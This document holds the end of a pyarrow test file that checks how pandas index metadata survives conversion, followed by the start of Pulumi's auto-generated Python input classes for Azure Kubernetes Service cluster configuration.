gen_name_0, 'pandas_type': 'int64', 'numpy_type': 'int64', 'metadata': None}], 'pandas_version': '0.23.4'} )}) r3 = t3.to_pandas() tm.assert_frame_equal(r3, e3) # Case 4: MultiIndex with named RangeIndex e4 = pd.DataFrame({ 'a': a_values }, index=[pd.RangeIndex(0, 8, step=2, name='qux'), b_values]) t4 = pa.Table.from_arrays([a_arrow, rng_index_arrow, b_arrow], names=['a', 'qux', gen_name_1]) t4 = t4.replace_schema_metadata({ b'pandas': json.dumps( {'index_columns': ['qux', gen_name_1], 'column_indexes': [{'name': None, 'field_name': None, 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': {'encoding': 'UTF-8'}}], 'columns': [{'name': 'a', 'field_name': 'a', 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': None}, {'name': 'qux', 'field_name': 'qux', 'pandas_type': 'int64', 'numpy_type': 'int64', 'metadata': None}, {'name': None, 'field_name': gen_name_1, 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': None}], 'pandas_version': '0.23.4'} )}) r4 = t4.to_pandas() tm.assert_frame_equal(r4, e4) # Case 4: MultiIndex with unnamed RangeIndex e5 = pd.DataFrame({ 'a': a_values }, index=[pd.RangeIndex(0, 8, step=2, name=None), b_values]) t5 = pa.Table.from_arrays([a_arrow, rng_index_arrow, b_arrow], names=['a', gen_name_0, gen_name_1]) t5 = t5.replace_schema_metadata({ b'pandas': json.dumps( {'index_columns': [gen_name_0, gen_name_1], 'column_indexes': [{'name': None, 'field_name': None, 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': {'encoding': 'UTF-8'}}], 'columns': [{'name': 'a', 'field_name': 'a', 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': None}, {'name': None, 'field_name': gen_name_0, 'pandas_type': 'int64', 'numpy_type': 'int64', 'metadata': None}, {'name': None, 'field_name': gen_name_1, 'pandas_type': 'unicode', 'numpy_type': 'object', 'metadata': None}], 'pandas_version': '0.23.4'} )}) r5 = t5.to_pandas() tm.assert_frame_equal(r5, e5) def test_metadata_compat_missing_field_name(): # Combination of missing field name but with index column as metadata. # This combo occurs in the latest versions of fastparquet (0.3.2), but not # in pyarrow itself (since field_name was added in 0.8, index as metadata # only added later) a_values = [1, 2, 3, 4] b_values = [u'a', u'b', u'c', u'd'] a_arrow = pa.array(a_values, type='int64') b_arrow = pa.array(b_values, type='utf8') expected = pd.DataFrame({ 'a': a_values, 'b': b_values, }, index=pd.RangeIndex(0, 8, step=2, name='qux')) table = pa.table({'a': a_arrow, 'b': b_arrow}) # metadata generated by fastparquet 0.3.2 with missing field_names table = table.replace_schema_metadata({ b'pandas': json.dumps( {'column_indexes': [ {'field_name': None, 'metadata': None, 'name': None, 'numpy_type': 'object', 'pandas_type': 'mixed-integer'} ], 'columns': [ {'metadata': None, 'name': 'a', 'numpy_type': 'int64', 'pandas_type': 'int64'}, {'metadata': None, 'name': 'b', 'numpy_type': 'object', 'pandas_type': 'unicode'} ], 'index_columns': [ {'kind': 'range', 'name': 'qux', 'start': 0, 'step': 2, 'stop': 8} ], 'pandas_version': '0.25.0'} )}) result = table.to_pandas() # on python 3.5 the column order can differ -> adding check_like=True tm.assert_frame_equal(result, expected, check_like=True)

35.564169

79

0.561048

4a07c8a001592b32331e309880d98d36f88abe8c

155,686

py

Python

sdk/python/pulumi_azure_native/containerservice/_inputs.py

polivbr/pulumi-azure-native

09571f3bf6bdc4f3621aabefd1ba6c0d4ecfb0e7

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_native/containerservice/_inputs.py

polivbr/pulumi-azure-native

09571f3bf6bdc4f3621aabefd1ba6c0d4ecfb0e7

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_native/containerservice/_inputs.py

polivbr/pulumi-azure-native

09571f3bf6bdc4f3621aabefd1ba6c0d4ecfb0e7

[ "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from ._enums import * __all__ = [ 'AgentPoolUpgradeSettingsArgs', 'ContainerServiceLinuxProfileArgs', 'ContainerServiceNetworkProfileArgs', 'ContainerServiceSshConfigurationArgs', 'ContainerServiceSshPublicKeyArgs', 'CreationDataArgs', 'ExtendedLocationArgs', 'KubeletConfigArgs', 'LinuxOSConfigArgs', 'ManagedClusterAADProfileArgs', 'ManagedClusterAPIServerAccessProfileArgs', 'ManagedClusterAddonProfileArgs', 'ManagedClusterAgentPoolProfileArgs', 'ManagedClusterAutoUpgradeProfileArgs', 'ManagedClusterHTTPProxyConfigArgs', 'ManagedClusterIdentityArgs', 'ManagedClusterLoadBalancerProfileManagedOutboundIPsArgs', 'ManagedClusterLoadBalancerProfileOutboundIPPrefixesArgs', 'ManagedClusterLoadBalancerProfileOutboundIPsArgs', 'ManagedClusterLoadBalancerProfileArgs', 'ManagedClusterPodIdentityExceptionArgs', 'ManagedClusterPodIdentityProfileArgs', 'ManagedClusterPodIdentityArgs', 'ManagedClusterPropertiesAutoScalerProfileArgs', 'ManagedClusterPropertiesIdentityProfileArgs', 'ManagedClusterSKUArgs', 'ManagedClusterServicePrincipalProfileArgs', 'ManagedClusterWindowsProfileArgs', 'NetworkProfileArgs', 'OpenShiftManagedClusterAADIdentityProviderArgs', 'OpenShiftManagedClusterAgentPoolProfileArgs', 'OpenShiftManagedClusterAuthProfileArgs', 'OpenShiftManagedClusterIdentityProviderArgs', 'OpenShiftManagedClusterMasterPoolProfileArgs', 'OpenShiftRouterProfileArgs', 'PrivateEndpointArgs', 'PrivateLinkResourceArgs', 'PrivateLinkServiceConnectionStateArgs', 'PurchasePlanArgs', 'ResourceReferenceArgs', 'SysctlConfigArgs', 'TimeInWeekArgs', 'TimeSpanArgs', 'UserAssignedIdentityArgs', ] @pulumi.input_type class AgentPoolUpgradeSettingsArgs: def __init__(__self__, *, max_surge: Optional[pulumi.Input[str]] = None): """ Settings for upgrading an agentpool :param pulumi.Input[str] max_surge: Count or percentage of additional nodes to be added during upgrade. If empty uses AKS default """ if max_surge is not None: pulumi.set(__self__, "max_surge", max_surge) @property @pulumi.getter(name="maxSurge") def max_surge(self) -> Optional[pulumi.Input[str]]: """ Count or percentage of additional nodes to be added during upgrade. If empty uses AKS default """ return pulumi.get(self, "max_surge") @max_surge.setter def max_surge(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_surge", value) @pulumi.input_type class ContainerServiceLinuxProfileArgs: def __init__(__self__, *, admin_username: pulumi.Input[str], ssh: pulumi.Input['ContainerServiceSshConfigurationArgs']): """ Profile for Linux VMs in the container service cluster. :param pulumi.Input[str] admin_username: The administrator username to use for Linux VMs. :param pulumi.Input['ContainerServiceSshConfigurationArgs'] ssh: SSH configuration for Linux-based VMs running on Azure. """ pulumi.set(__self__, "admin_username", admin_username) pulumi.set(__self__, "ssh", ssh) @property @pulumi.getter(name="adminUsername") def admin_username(self) -> pulumi.Input[str]: """ The administrator username to use for Linux VMs. """ return pulumi.get(self, "admin_username") @admin_username.setter def admin_username(self, value: pulumi.Input[str]): pulumi.set(self, "admin_username", value) @property @pulumi.getter def ssh(self) -> pulumi.Input['ContainerServiceSshConfigurationArgs']: """ SSH configuration for Linux-based VMs running on Azure. """ return pulumi.get(self, "ssh") @ssh.setter def ssh(self, value: pulumi.Input['ContainerServiceSshConfigurationArgs']): pulumi.set(self, "ssh", value) @pulumi.input_type class ContainerServiceNetworkProfileArgs: def __init__(__self__, *, dns_service_ip: Optional[pulumi.Input[str]] = None, docker_bridge_cidr: Optional[pulumi.Input[str]] = None, load_balancer_profile: Optional[pulumi.Input['ManagedClusterLoadBalancerProfileArgs']] = None, load_balancer_sku: Optional[pulumi.Input[Union[str, 'LoadBalancerSku']]] = None, network_mode: Optional[pulumi.Input[Union[str, 'NetworkMode']]] = None, network_plugin: Optional[pulumi.Input[Union[str, 'NetworkPlugin']]] = None, network_policy: Optional[pulumi.Input[Union[str, 'NetworkPolicy']]] = None, outbound_type: Optional[pulumi.Input[Union[str, 'OutboundType']]] = None, pod_cidr: Optional[pulumi.Input[str]] = None, service_cidr: Optional[pulumi.Input[str]] = None): """ Profile of network configuration. :param pulumi.Input[str] dns_service_ip: An IP address assigned to the Kubernetes DNS service. It must be within the Kubernetes service address range specified in serviceCidr. :param pulumi.Input[str] docker_bridge_cidr: A CIDR notation IP range assigned to the Docker bridge network. It must not overlap with any Subnet IP ranges or the Kubernetes service address range. :param pulumi.Input['ManagedClusterLoadBalancerProfileArgs'] load_balancer_profile: Profile of the cluster load balancer. :param pulumi.Input[Union[str, 'LoadBalancerSku']] load_balancer_sku: The load balancer sku for the managed cluster. :param pulumi.Input[Union[str, 'NetworkMode']] network_mode: Network mode used for building Kubernetes network. :param pulumi.Input[Union[str, 'NetworkPlugin']] network_plugin: Network plugin used for building Kubernetes network. :param pulumi.Input[Union[str, 'NetworkPolicy']] network_policy: Network policy used for building Kubernetes network. :param pulumi.Input[Union[str, 'OutboundType']] outbound_type: The outbound (egress) routing method. :param pulumi.Input[str] pod_cidr: A CIDR notation IP range from which to assign pod IPs when kubenet is used. :param pulumi.Input[str] service_cidr: A CIDR notation IP range from which to assign service cluster IPs. It must not overlap with any Subnet IP ranges. """ if dns_service_ip is None: dns_service_ip = '10.0.0.10' if dns_service_ip is not None: pulumi.set(__self__, "dns_service_ip", dns_service_ip) if docker_bridge_cidr is None: docker_bridge_cidr = '172.17.0.1/16' if docker_bridge_cidr is not None: pulumi.set(__self__, "docker_bridge_cidr", docker_bridge_cidr) if load_balancer_profile is not None: pulumi.set(__self__, "load_balancer_profile", load_balancer_profile) if load_balancer_sku is not None: pulumi.set(__self__, "load_balancer_sku", load_balancer_sku) if network_mode is not None: pulumi.set(__self__, "network_mode", network_mode) if network_plugin is None: network_plugin = 'kubenet' if network_plugin is not None: pulumi.set(__self__, "network_plugin", network_plugin) if network_policy is not None: pulumi.set(__self__, "network_policy", network_policy) if outbound_type is None: outbound_type = 'loadBalancer' if outbound_type is not None: pulumi.set(__self__, "outbound_type", outbound_type) if pod_cidr is None: pod_cidr = '10.244.0.0/16' if pod_cidr is not None: pulumi.set(__self__, "pod_cidr", pod_cidr) if service_cidr is None: service_cidr = '10.0.0.0/16' if service_cidr is not None: pulumi.set(__self__, "service_cidr", service_cidr) @property @pulumi.getter(name="dnsServiceIP") def dns_service_ip(self) -> Optional[pulumi.Input[str]]: """ An IP address assigned to the Kubernetes DNS service. It must be within the Kubernetes service address range specified in serviceCidr. """ return pulumi.get(self, "dns_service_ip") @dns_service_ip.setter def dns_service_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "dns_service_ip", value) @property @pulumi.getter(name="dockerBridgeCidr") def docker_bridge_cidr(self) -> Optional[pulumi.Input[str]]: """ A CIDR notation IP range assigned to the Docker bridge network. It must not overlap with any Subnet IP ranges or the Kubernetes service address range. """ return pulumi.get(self, "docker_bridge_cidr") @docker_bridge_cidr.setter def docker_bridge_cidr(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "docker_bridge_cidr", value) @property @pulumi.getter(name="loadBalancerProfile") def load_balancer_profile(self) -> Optional[pulumi.Input['ManagedClusterLoadBalancerProfileArgs']]: """ Profile of the cluster load balancer. """ return pulumi.get(self, "load_balancer_profile") @load_balancer_profile.setter def load_balancer_profile(self, value: Optional[pulumi.Input['ManagedClusterLoadBalancerProfileArgs']]): pulumi.set(self, "load_balancer_profile", value) @property @pulumi.getter(name="loadBalancerSku") def load_balancer_sku(self) -> Optional[pulumi.Input[Union[str, 'LoadBalancerSku']]]: """ The load balancer sku for the managed cluster. """ return pulumi.get(self, "load_balancer_sku") @load_balancer_sku.setter def load_balancer_sku(self, value: Optional[pulumi.Input[Union[str, 'LoadBalancerSku']]]): pulumi.set(self, "load_balancer_sku", value) @property @pulumi.getter(name="networkMode") def network_mode(self) -> Optional[pulumi.Input[Union[str, 'NetworkMode']]]: """ Network mode used for building Kubernetes network. """ return pulumi.get(self, "network_mode") @network_mode.setter def network_mode(self, value: Optional[pulumi.Input[Union[str, 'NetworkMode']]]): pulumi.set(self, "network_mode", value) @property @pulumi.getter(name="networkPlugin") def network_plugin(self) -> Optional[pulumi.Input[Union[str, 'NetworkPlugin']]]: """ Network plugin used for building Kubernetes network. """ return pulumi.get(self, "network_plugin") @network_plugin.setter def network_plugin(self, value: Optional[pulumi.Input[Union[str, 'NetworkPlugin']]]): pulumi.set(self, "network_plugin", value) @property @pulumi.getter(name="networkPolicy") def network_policy(self) -> Optional[pulumi.Input[Union[str, 'NetworkPolicy']]]: """ Network policy used for building Kubernetes network. """ return pulumi.get(self, "network_policy") @network_policy.setter def network_policy(self, value: Optional[pulumi.Input[Union[str, 'NetworkPolicy']]]): pulumi.set(self, "network_policy", value) @property @pulumi.getter(name="outboundType") def outbound_type(self) -> Optional[pulumi.Input[Union[str, 'OutboundType']]]: """ The outbound (egress) routing method. """ return pulumi.get(self, "outbound_type") @outbound_type.setter def outbound_type(self, value: Optional[pulumi.Input[Union[str, 'OutboundType']]]): pulumi.set(self, "outbound_type", value) @property @pulumi.getter(name="podCidr") def pod_cidr(self) -> Optional[pulumi.Input[str]]: """ A CIDR notation IP range from which to assign pod IPs when kubenet is used. """ return pulumi.get(self, "pod_cidr") @pod_cidr.setter def pod_cidr(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pod_cidr", value) @property @pulumi.getter(name="serviceCidr") def service_cidr(self) -> Optional[pulumi.Input[str]]: """ A CIDR notation IP range from which to assign service cluster IPs. It must not overlap with any Subnet IP ranges. """ return pulumi.get(self, "service_cidr") @service_cidr.setter def service_cidr(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "service_cidr", value) @pulumi.input_type class ContainerServiceSshConfigurationArgs: def __init__(__self__, *, public_keys: pulumi.Input[Sequence[pulumi.Input['ContainerServiceSshPublicKeyArgs']]]): """ SSH configuration for Linux-based VMs running on Azure. :param pulumi.Input[Sequence[pulumi.Input['ContainerServiceSshPublicKeyArgs']]] public_keys: The list of SSH public keys used to authenticate with Linux-based VMs. Only expect one key specified. """ pulumi.set(__self__, "public_keys", public_keys) @property @pulumi.getter(name="publicKeys") def public_keys(self) -> pulumi.Input[Sequence[pulumi.Input['ContainerServiceSshPublicKeyArgs']]]: """ The list of SSH public keys used to authenticate with Linux-based VMs. Only expect one key specified. """ return pulumi.get(self, "public_keys") @public_keys.setter def public_keys(self, value: pulumi.Input[Sequence[pulumi.Input['ContainerServiceSshPublicKeyArgs']]]): pulumi.set(self, "public_keys", value) @pulumi.input_type class ContainerServiceSshPublicKeyArgs: def __init__(__self__, *, key_data: pulumi.Input[str]): """ Contains information about SSH certificate public key data. :param pulumi.Input[str] key_data: Certificate public key used to authenticate with VMs through SSH. The certificate must be in PEM format with or without headers. """ pulumi.set(__self__, "key_data", key_data) @property @pulumi.getter(name="keyData") def key_data(self) -> pulumi.Input[str]: """ Certificate public key used to authenticate with VMs through SSH. The certificate must be in PEM format with or without headers. """ return pulumi.get(self, "key_data") @key_data.setter def key_data(self, value: pulumi.Input[str]): pulumi.set(self, "key_data", value) @pulumi.input_type class CreationDataArgs: def __init__(__self__, *, source_resource_id: Optional[pulumi.Input[str]] = None): """ Data used when creating a target resource from a source resource. :param pulumi.Input[str] source_resource_id: This is the ARM ID of the source object to be used to create the target object. """ if source_resource_id is not None: pulumi.set(__self__, "source_resource_id", source_resource_id) @property @pulumi.getter(name="sourceResourceId") def source_resource_id(self) -> Optional[pulumi.Input[str]]: """ This is the ARM ID of the source object to be used to create the target object. """ return pulumi.get(self, "source_resource_id") @source_resource_id.setter def source_resource_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source_resource_id", value) @pulumi.input_type class ExtendedLocationArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, type: Optional[pulumi.Input[Union[str, 'ExtendedLocationTypes']]] = None): """ The complex type of the extended location. :param pulumi.Input[str] name: The name of the extended location. :param pulumi.Input[Union[str, 'ExtendedLocationTypes']] type: The type of the extended location. """ if name is not None: pulumi.set(__self__, "name", name) if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the extended location. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[Union[str, 'ExtendedLocationTypes']]]: """ The type of the extended location. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[Union[str, 'ExtendedLocationTypes']]]): pulumi.set(self, "type", value) @pulumi.input_type class KubeletConfigArgs: def __init__(__self__, *, allowed_unsafe_sysctls: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, container_log_max_files: Optional[pulumi.Input[int]] = None, container_log_max_size_mb: Optional[pulumi.Input[int]] = None, cpu_cfs_quota: Optional[pulumi.Input[bool]] = None, cpu_cfs_quota_period: Optional[pulumi.Input[str]] = None, cpu_manager_policy: Optional[pulumi.Input[str]] = None, fail_swap_on: Optional[pulumi.Input[bool]] = None, image_gc_high_threshold: Optional[pulumi.Input[int]] = None, image_gc_low_threshold: Optional[pulumi.Input[int]] = None, pod_max_pids: Optional[pulumi.Input[int]] = None, topology_manager_policy: Optional[pulumi.Input[str]] = None): """ Kubelet configurations of agent nodes. :param pulumi.Input[Sequence[pulumi.Input[str]]] allowed_unsafe_sysctls: Allowlist of unsafe sysctls or unsafe sysctl patterns (ending in `*`). :param pulumi.Input[int] container_log_max_files: The maximum number of container log files that can be present for a container. The number must be ≥ 2. :param pulumi.Input[int] container_log_max_size_mb: The maximum size (e.g. 10Mi) of container log file before it is rotated. :param pulumi.Input[bool] cpu_cfs_quota: Enable CPU CFS quota enforcement for containers that specify CPU limits. :param pulumi.Input[str] cpu_cfs_quota_period: Sets CPU CFS quota period value. :param pulumi.Input[str] cpu_manager_policy: CPU Manager policy to use. :param pulumi.Input[bool] fail_swap_on: If set to true it will make the Kubelet fail to start if swap is enabled on the node. :param pulumi.Input[int] image_gc_high_threshold: The percent of disk usage after which image garbage collection is always run. :param pulumi.Input[int] image_gc_low_threshold: The percent of disk usage before which image garbage collection is never run. :param pulumi.Input[int] pod_max_pids: The maximum number of processes per pod. :param pulumi.Input[str] topology_manager_policy: Topology Manager policy to use. """ if allowed_unsafe_sysctls is not None: pulumi.set(__self__, "allowed_unsafe_sysctls", allowed_unsafe_sysctls) if container_log_max_files is not None: pulumi.set(__self__, "container_log_max_files", container_log_max_files) if container_log_max_size_mb is not None: pulumi.set(__self__, "container_log_max_size_mb", container_log_max_size_mb) if cpu_cfs_quota is not None: pulumi.set(__self__, "cpu_cfs_quota", cpu_cfs_quota) if cpu_cfs_quota_period is not None: pulumi.set(__self__, "cpu_cfs_quota_period", cpu_cfs_quota_period) if cpu_manager_policy is not None: pulumi.set(__self__, "cpu_manager_policy", cpu_manager_policy) if fail_swap_on is not None: pulumi.set(__self__, "fail_swap_on", fail_swap_on) if image_gc_high_threshold is not None: pulumi.set(__self__, "image_gc_high_threshold", image_gc_high_threshold) if image_gc_low_threshold is not None: pulumi.set(__self__, "image_gc_low_threshold", image_gc_low_threshold) if pod_max_pids is not None: pulumi.set(__self__, "pod_max_pids", pod_max_pids) if topology_manager_policy is not None: pulumi.set(__self__, "topology_manager_policy", topology_manager_policy) @property @pulumi.getter(name="allowedUnsafeSysctls") def allowed_unsafe_sysctls(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Allowlist of unsafe sysctls or unsafe sysctl patterns (ending in `*`). """ return pulumi.get(self, "allowed_unsafe_sysctls") @allowed_unsafe_sysctls.setter def allowed_unsafe_sysctls(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "allowed_unsafe_sysctls", value) @property @pulumi.getter(name="containerLogMaxFiles") def container_log_max_files(self) -> Optional[pulumi.Input[int]]: """ The maximum number of container log files that can be present for a container. The number must be ≥ 2. """ return pulumi.get(self, "container_log_max_files") @container_log_max_files.setter def container_log_max_files(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "container_log_max_files", value) @property @pulumi.getter(name="containerLogMaxSizeMB") def container_log_max_size_mb(self) -> Optional[pulumi.Input[int]]: """ The maximum size (e.g. 10Mi) of container log file before it is rotated. """ return pulumi.get(self, "container_log_max_size_mb") @container_log_max_size_mb.setter def container_log_max_size_mb(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "container_log_max_size_mb", value) @property @pulumi.getter(name="cpuCfsQuota") def cpu_cfs_quota(self) -> Optional[pulumi.Input[bool]]: """ Enable CPU CFS quota enforcement for containers that specify CPU limits. """ return pulumi.get(self, "cpu_cfs_quota") @cpu_cfs_quota.setter def cpu_cfs_quota(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "cpu_cfs_quota", value) @property @pulumi.getter(name="cpuCfsQuotaPeriod") def cpu_cfs_quota_period(self) -> Optional[pulumi.Input[str]]: """ Sets CPU CFS quota period value. """ return pulumi.get(self, "cpu_cfs_quota_period") @cpu_cfs_quota_period.setter def cpu_cfs_quota_period(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cpu_cfs_quota_period", value) @property @pulumi.getter(name="cpuManagerPolicy") def cpu_manager_policy(self) -> Optional[pulumi.Input[str]]: """ CPU Manager policy to use. """ return pulumi.get(self, "cpu_manager_policy") @cpu_manager_policy.setter def cpu_manager_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cpu_manager_policy", value) @property @pulumi.getter(name="failSwapOn") def fail_swap_on(self) -> Optional[pulumi.Input[bool]]: """ If set to true it will make the Kubelet fail to start if swap is enabled on the node. """ return pulumi.get(self, "fail_swap_on") @fail_swap_on.setter def fail_swap_on(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "fail_swap_on", value) @property @pulumi.getter(name="imageGcHighThreshold") def image_gc_high_threshold(self) -> Optional[pulumi.Input[int]]: """ The percent of disk usage after which image garbage collection is always run. """ return pulumi.get(self, "image_gc_high_threshold") @image_gc_high_threshold.setter def image_gc_high_threshold(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "image_gc_high_threshold", value) @property @pulumi.getter(name="imageGcLowThreshold") def image_gc_low_threshold(self) -> Optional[pulumi.Input[int]]: """ The percent of disk usage before which image garbage collection is never run. """ return pulumi.get(self, "image_gc_low_threshold") @image_gc_low_threshold.setter def image_gc_low_threshold(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "image_gc_low_threshold", value) @property @pulumi.getter(name="podMaxPids") def pod_max_pids(self) -> Optional[pulumi.Input[int]]: """ The maximum number of processes per pod. """ return pulumi.get(self, "pod_max_pids") @pod_max_pids.setter def pod_max_pids(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "pod_max_pids", value) @property @pulumi.getter(name="topologyManagerPolicy") def topology_manager_policy(self) -> Optional[pulumi.Input[str]]: """ Topology Manager policy to use. """ return pulumi.get(self, "topology_manager_policy") @topology_manager_policy.setter def topology_manager_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "topology_manager_policy", value) @pulumi.input_type class LinuxOSConfigArgs: def __init__(__self__, *, swap_file_size_mb: Optional[pulumi.Input[int]] = None, sysctls: Optional[pulumi.Input['SysctlConfigArgs']] = None, transparent_huge_page_defrag: Optional[pulumi.Input[str]] = None, transparent_huge_page_enabled: Optional[pulumi.Input[str]] = None): """ OS configurations of Linux agent nodes. :param pulumi.Input[int] swap_file_size_mb: SwapFileSizeMB specifies size in MB of a swap file will be created on each node. :param pulumi.Input['SysctlConfigArgs'] sysctls: Sysctl settings for Linux agent nodes. :param pulumi.Input[str] transparent_huge_page_defrag: Transparent Huge Page defrag configuration. :param pulumi.Input[str] transparent_huge_page_enabled: Transparent Huge Page enabled configuration. """ if swap_file_size_mb is not None: pulumi.set(__self__, "swap_file_size_mb", swap_file_size_mb) if sysctls is not None: pulumi.set(__self__, "sysctls", sysctls) if transparent_huge_page_defrag is not None: pulumi.set(__self__, "transparent_huge_page_defrag", transparent_huge_page_defrag) if transparent_huge_page_enabled is not None: pulumi.set(__self__, "transparent_huge_page_enabled", transparent_huge_page_enabled) @property @pulumi.getter(name="swapFileSizeMB") def swap_file_size_mb(self) -> Optional[pulumi.Input[int]]: """ SwapFileSizeMB specifies size in MB of a swap file will be created on each node. """ return pulumi.get(self, "swap_file_size_mb") @swap_file_size_mb.setter def swap_file_size_mb(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "swap_file_size_mb", value) @property @pulumi.getter def sysctls(self) -> Optional[pulumi.Input['SysctlConfigArgs']]: """ Sysctl settings for Linux agent nodes. """ return pulumi.get(self, "sysctls") @sysctls.setter def sysctls(self, value: Optional[pulumi.Input['SysctlConfigArgs']]): pulumi.set(self, "sysctls", value) @property @pulumi.getter(name="transparentHugePageDefrag") def transparent_huge_page_defrag(self) -> Optional[pulumi.Input[str]]: """ Transparent Huge Page defrag configuration. """ return pulumi.get(self, "transparent_huge_page_defrag") @transparent_huge_page_defrag.setter def transparent_huge_page_defrag(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "transparent_huge_page_defrag", value) @property @pulumi.getter(name="transparentHugePageEnabled") def transparent_huge_page_enabled(self) -> Optional[pulumi.Input[str]]: """ Transparent Huge Page enabled configuration. """ return pulumi.get(self, "transparent_huge_page_enabled") @transparent_huge_page_enabled.setter def transparent_huge_page_enabled(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "transparent_huge_page_enabled", value) @pulumi.input_type class ManagedClusterAADProfileArgs: def __init__(__self__, *, admin_group_object_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, client_app_id: Optional[pulumi.Input[str]] = None, enable_azure_rbac: Optional[pulumi.Input[bool]] = None, managed: Optional[pulumi.Input[bool]] = None, server_app_id: Optional[pulumi.Input[str]] = None, server_app_secret: Optional[pulumi.Input[str]] = None, tenant_id: Optional[pulumi.Input[str]] = None): """ AADProfile specifies attributes for Azure Active Directory integration. :param pulumi.Input[Sequence[pulumi.Input[str]]] admin_group_object_ids: AAD group object IDs that will have admin role of the cluster. :param pulumi.Input[str] client_app_id: The client AAD application ID. :param pulumi.Input[bool] enable_azure_rbac: Whether to enable Azure RBAC for Kubernetes authorization. :param pulumi.Input[bool] managed: Whether to enable managed AAD. :param pulumi.Input[str] server_app_id: The server AAD application ID. :param pulumi.Input[str] server_app_secret: The server AAD application secret. :param pulumi.Input[str] tenant_id: The AAD tenant ID to use for authentication. If not specified, will use the tenant of the deployment subscription. """ if admin_group_object_ids is not None: pulumi.set(__self__, "admin_group_object_ids", admin_group_object_ids) if client_app_id is not None: pulumi.set(__self__, "client_app_id", client_app_id) if enable_azure_rbac is not None: pulumi.set(__self__, "enable_azure_rbac", enable_azure_rbac) if managed is not None: pulumi.set(__self__, "managed", managed) if server_app_id is not None: pulumi.set(__self__, "server_app_id", server_app_id) if server_app_secret is not None: pulumi.set(__self__, "server_app_secret", server_app_secret) if tenant_id is not None: pulumi.set(__self__, "tenant_id", tenant_id) @property @pulumi.getter(name="adminGroupObjectIDs") def admin_group_object_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ AAD group object IDs that will have admin role of the cluster. """ return pulumi.get(self, "admin_group_object_ids") @admin_group_object_ids.setter def admin_group_object_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "admin_group_object_ids", value) @property @pulumi.getter(name="clientAppID") def client_app_id(self) -> Optional[pulumi.Input[str]]: """ The client AAD application ID. """ return pulumi.get(self, "client_app_id") @client_app_id.setter def client_app_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_app_id", value) @property @pulumi.getter(name="enableAzureRBAC") def enable_azure_rbac(self) -> Optional[pulumi.Input[bool]]: """ Whether to enable Azure RBAC for Kubernetes authorization. """ return pulumi.get(self, "enable_azure_rbac") @enable_azure_rbac.setter def enable_azure_rbac(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_azure_rbac", value) @property @pulumi.getter def managed(self) -> Optional[pulumi.Input[bool]]: """ Whether to enable managed AAD. """ return pulumi.get(self, "managed") @managed.setter def managed(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "managed", value) @property @pulumi.getter(name="serverAppID") def server_app_id(self) -> Optional[pulumi.Input[str]]: """ The server AAD application ID. """ return pulumi.get(self, "server_app_id") @server_app_id.setter def server_app_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server_app_id", value) @property @pulumi.getter(name="serverAppSecret") def server_app_secret(self) -> Optional[pulumi.Input[str]]: """ The server AAD application secret. """ return pulumi.get(self, "server_app_secret") @server_app_secret.setter def server_app_secret(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server_app_secret", value) @property @pulumi.getter(name="tenantID") def tenant_id(self) -> Optional[pulumi.Input[str]]: """ The AAD tenant ID to use for authentication. If not specified, will use the tenant of the deployment subscription. """ return pulumi.get(self, "tenant_id") @tenant_id.setter def tenant_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tenant_id", value) @pulumi.input_type class ManagedClusterAPIServerAccessProfileArgs: def __init__(__self__, *, authorized_ip_ranges: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, enable_private_cluster: Optional[pulumi.Input[bool]] = None, private_dns_zone: Optional[pulumi.Input[str]] = None): """ Access profile for managed cluster API server. :param pulumi.Input[Sequence[pulumi.Input[str]]] authorized_ip_ranges: Authorized IP Ranges to kubernetes API server. :param pulumi.Input[bool] enable_private_cluster: Whether to create the cluster as a private cluster or not. :param pulumi.Input[str] 